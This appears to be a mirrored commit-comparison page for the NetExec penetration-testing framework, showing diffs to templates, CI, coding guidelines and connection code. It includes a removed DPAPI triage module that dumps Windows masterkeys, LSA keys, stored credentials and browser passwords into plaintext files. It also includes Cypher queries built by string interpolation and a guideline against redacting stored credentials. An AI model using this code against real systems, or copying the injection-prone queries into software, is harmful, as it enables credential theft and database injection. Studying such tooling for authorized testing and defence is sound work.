mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 10:09:50 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2427fb5423 | ||
|
|
71716634c7 | ||
|
|
e6eb4f740f | ||
|
|
10bc8173f7 |
No files matched your search
@@ -2,16 +2,10 @@
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
### AI Assistance
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
|
||||
|
||||
Note that if you have used AI, you:
|
||||
- MUST test the changes against a live system
|
||||
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
|
||||
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
|
||||
|
||||
## Type of change
|
||||
Insert an "x" inside the brackets for relevant items
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
@@ -22,8 +16,7 @@ Insert an "x" inside the brackets for relevant items
|
||||
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
|
||||
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
|
||||
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
|
||||
@@ -64,5 +64,3 @@ docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
nxc/.DS_Store
|
||||
.DS_Store
|
||||
@@ -7,16 +7,15 @@
|
||||
|
||||
# Coding style
|
||||
|
||||
- Never add a comment or docstring at the top of a Python file unless that file already has a top-of-file comment or docstring.
|
||||
- In parenthesized Python import blocks, group multiple imported names on each line instead of placing every name on its own line.
|
||||
- Keep function and method call arguments on one line when practical; format object literals for readability.
|
||||
- Keep comments short and precise. Use block form for docstrings and other long text.
|
||||
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
|
||||
- Always bind caught exceptions as `e`, not `error` or another name.
|
||||
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
|
||||
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
|
||||
|
||||
# NetExec protocol structure
|
||||
|
||||
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
|
||||
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
|
||||
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
|
||||
- If unsure about anything, ask for clarification before proceeding.
|
||||
|
||||
# NetExec module structure
|
||||
|
||||
@@ -42,7 +41,6 @@
|
||||
# Filesystem and source conventions
|
||||
|
||||
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
|
||||
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
|
||||
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
|
||||
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
|
||||
- Place imports at the top of files unless explicitly instructed otherwise.
|
||||
@@ -13,7 +13,7 @@ clean:
|
||||
find . -name '.pytest_cache' -exec rm -rf {} +
|
||||
|
||||
tests:
|
||||
ruff check .
|
||||
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
|
||||
|
||||
requirements:
|
||||
poetry export --without-hashes -f requirements.txt -o requirements.txt
|
||||
|
||||
+2
-13
@@ -32,12 +32,11 @@ a = Analysis(
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dcerpc.v5.even6',
|
||||
'impacket.dcerpc.v5.tsts',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'impacket.krb5.kpasswd',
|
||||
'jwt',
|
||||
'nxc.connection',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
'nxc.protocols.smb.atexec',
|
||||
@@ -49,12 +48,9 @@ a = Analysis(
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.dpapi',
|
||||
'nxc.helpers.even6_parser',
|
||||
'nxc.helpers.firefox',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.negotiate_parser',
|
||||
'nxc.helpers.smb',
|
||||
'paramiko',
|
||||
'pefile',
|
||||
'pypsrp.client',
|
||||
@@ -88,16 +84,9 @@ a = Analysis(
|
||||
'dploot.triage.cng',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'dploot.lib.network.mssql',
|
||||
'dploot.lib.network.winrm',
|
||||
'dsinternals.common.cryptography.X509Certificate2',
|
||||
'dsinternals.common.data.DNWithBinary',
|
||||
'dsinternals.common.data.hello.KeyCredential',
|
||||
'dsinternals.system.DateTime',
|
||||
'dsinternals.system.Guid',
|
||||
'lxml.objectify',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
|
||||
@@ -32,8 +32,6 @@ def gen_cli_args():
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
|
||||
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output Options")
|
||||
|
||||
@@ -39,12 +39,6 @@ config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
|
||||
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
|
||||
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
|
||||
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
|
||||
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
|
||||
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
|
||||
if not isinstance(exclude_hosts, list):
|
||||
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
if len(host_info_colors) != 4:
|
||||
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
|
||||
|
||||
+44
-21
@@ -14,11 +14,15 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
fail_lock = Lock()
|
||||
@@ -96,6 +100,37 @@ def requires_admin(func):
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, target):
|
||||
self.args = args
|
||||
@@ -109,11 +144,9 @@ class connection:
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
|
||||
self.kerberos = bool(self.args.kerberos or
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "generate_st") and self.args.generate_st) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
@@ -121,7 +154,6 @@ class connection:
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
self.failed_logins = 0
|
||||
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
|
||||
|
||||
# Network info
|
||||
self.domain = None
|
||||
@@ -143,14 +175,12 @@ class connection:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.error(f"Target {target} refused the connection: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
@@ -212,20 +242,20 @@ class connection:
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if not self.create_conn_obj():
|
||||
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.info(f"Successfully created connection object for target '{self.host}'")
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
if self.args.module:
|
||||
@@ -527,29 +557,22 @@ class connection:
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
from impacket.krb5.ccache import CCache
|
||||
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if self.certificate_auth:
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if self.args.protocol == "ldap" and self.args.schannel:
|
||||
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
|
||||
with sem:
|
||||
return self.plaintext_login(self.domain, "", "")
|
||||
if not username:
|
||||
if not self.args.username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
return pfx_auth(self, domain[0], username[0])
|
||||
return pfx_auth(self)
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
|
||||
@@ -8,8 +8,6 @@ log_mode = False
|
||||
host_info_colors = ["green", "red", "yellow", "cyan"]
|
||||
check_guest_account = False
|
||||
display_dc = True
|
||||
skip_self = False
|
||||
exclude_hosts = []
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
|
||||
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
|
||||
with driver.session().begin_transaction() as tx:
|
||||
for user_info in users_owned:
|
||||
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
|
||||
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
|
||||
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
|
||||
if not domain_query:
|
||||
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
|
||||
_add_without_domain(user_info, tx, logger)
|
||||
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
|
||||
user_owned = f"{user_info['username']}@{domain}"
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
return
|
||||
if result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
|
||||
|
||||
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
|
||||
user_owned = user_info["username"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
|
||||
return
|
||||
elif result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
@@ -1,461 +0,0 @@
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection):
|
||||
"""
|
||||
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
|
||||
This function gets the calling NXC protocol and tries reuse the already opened connection
|
||||
on DPLoot directly. If not it opens up a new connection.
|
||||
"""
|
||||
conn = None
|
||||
protocol = target.protocol
|
||||
try:
|
||||
match protocol:
|
||||
case "smb":
|
||||
from dploot.lib.network.smb import DPLootSMBConnection
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "wmi":
|
||||
from dploot.lib.network.wmi import DPLootWMIConnection
|
||||
conn = DPLootWMIConnection(target)
|
||||
if connection is not None:
|
||||
conn.dcom = connection.dcom_conn
|
||||
conn.iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
else:
|
||||
conn.connect()
|
||||
case "winrm":
|
||||
from dploot.lib.network.winrm import DPLootWINRMConnection
|
||||
conn = DPLootWINRMConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "mssql":
|
||||
from dploot.lib.network.mssql import DPLootMSSQLConnection
|
||||
conn = DPLootMSSQLConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
except Exception as e:
|
||||
connection.logger.debug(e)
|
||||
return None
|
||||
|
||||
return conn
|
||||
|
||||
|
||||
class DPAPITriage:
|
||||
"""
|
||||
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
|
||||
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
|
||||
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
|
||||
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
|
||||
|
||||
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
|
||||
|
||||
```
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = <dploot target creation>
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
```
|
||||
|
||||
This way, every DPAPI related module will automaticaly work with the protocol
|
||||
|
||||
"""
|
||||
def __init__(self, connection, target: Target):
|
||||
self.connection = connection
|
||||
self.target = target
|
||||
|
||||
self.conn = None
|
||||
self.dump_cookies = False
|
||||
self.masterkeys = []
|
||||
self._pvkbytes = None
|
||||
|
||||
# Keep track of writing secrets in file
|
||||
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
|
||||
self.secrets_counter = 0
|
||||
|
||||
if connection.args.dpapi is not None:
|
||||
self.dump_cookies = "cookies" in connection.args.dpapi
|
||||
|
||||
# Variables to know what materkey types have already been dumped
|
||||
self.system_masterkeys_already_dumped = False
|
||||
self.users_masterkeys_already_dumped = False
|
||||
|
||||
# Initialize the connection here, if you need this class then you will need the connection
|
||||
self.init_connection()
|
||||
|
||||
def __del__(self):
|
||||
# When everything is finished, then we give the feedback to the user
|
||||
if self.output_file is not None and self.secrets_counter > 0:
|
||||
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
|
||||
|
||||
def log_secret(self, line, logger=None):
|
||||
# Handle the secret counter here, avoid to handle it in multiple places
|
||||
if logger is None:
|
||||
logger = self.connection.logger
|
||||
logger.highlight(line)
|
||||
with open(self.output_file, "a", encoding="utf-8") as fd:
|
||||
self.secrets_counter += 1
|
||||
fd.write(line + "\n")
|
||||
|
||||
def init_connection(self):
|
||||
"""Tries to initiate a DPLootConnection object from a NXC connection"""
|
||||
if self.conn is not None:
|
||||
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
|
||||
return
|
||||
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
|
||||
if self.conn is None:
|
||||
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
|
||||
return
|
||||
|
||||
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
|
||||
"""
|
||||
Get and decrypt masterkeys from the target.
|
||||
dump_users: If True, then user masterkeys will be collected if they have not already been
|
||||
dump_system: If True, then system masterkeys will be collected if they have not already been
|
||||
"""
|
||||
# If we have already dumped everything, then we won't find new stuff
|
||||
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
|
||||
return self.masterkeys
|
||||
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
|
||||
# First, check and handle the mkfile arg
|
||||
if self.connection.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
|
||||
if dump_users:
|
||||
users = self.conn.list_users()
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if self.connection.password != "":
|
||||
plaintexts[self.connection.username.lower()] = self.connection.password
|
||||
if self.connection.nthash != "":
|
||||
nthashes[self.connection.username.lower()] = self.connection.nthash
|
||||
|
||||
# Now prepare the SYSTEM part
|
||||
if (dump_system
|
||||
and self.connection.dpapi_system_key is None
|
||||
and hasattr(self.connection, "lsa")
|
||||
and callable(self.connection.lsa)):
|
||||
# We can use the protocol specific LSA dump if not already dumped.
|
||||
# But first, just making sure the protocol supports LSA dump :)
|
||||
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
|
||||
self.connection.lsa(quiet=True)
|
||||
if self.connection.dpapi_system_key is not None:
|
||||
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
|
||||
|
||||
# Invoke MasterkeyTriage class
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem=self.connection.dpapi_system_key,
|
||||
)
|
||||
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
|
||||
# Collect User Masterkeys if this has not already been done
|
||||
if dump_users and not self.users_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI Users masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.users_masterkeys_already_dumped = True
|
||||
|
||||
# Collect SYSTEM Masterkeys if this has not already been done
|
||||
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.system_masterkeys_already_dumped = True
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys += masterkeys
|
||||
# If we decrypted new masterkeys, print the message
|
||||
if len(masterkeys) > 0:
|
||||
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
|
||||
return self.masterkeys
|
||||
|
||||
def triage_credentials(self, masterkeys: list[Masterkey]):
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
def triage_chromium(self, masterkeys: list[Masterkey]):
|
||||
cng_chromekey = None
|
||||
# We need the CNG triage to recover Chrome passwords since Chrome v137
|
||||
try:
|
||||
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
